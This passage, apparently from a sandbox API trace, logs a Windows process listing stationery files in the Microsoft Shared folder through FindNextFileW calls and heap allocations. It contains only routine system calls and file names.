ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8960 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f15f0 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8980 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f16f8 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e89a0 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1800 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e89c0 [0054.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1908 [0054.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e89e0 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1a10 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8a00 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1b18 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8a20 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1c20 [0054.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.787] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0054.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8a40 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1d28 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8a60 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1e30 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8a80 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f1f38 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.788] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0054.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eac90 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2040 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eacb0 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2148 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eacd0 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2250 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eacf0 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2358 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ead10 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2460 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ead30 [0054.790] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0054.790] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0054.791] GetLastError () returned 0x12 [0054.791] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.792] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: 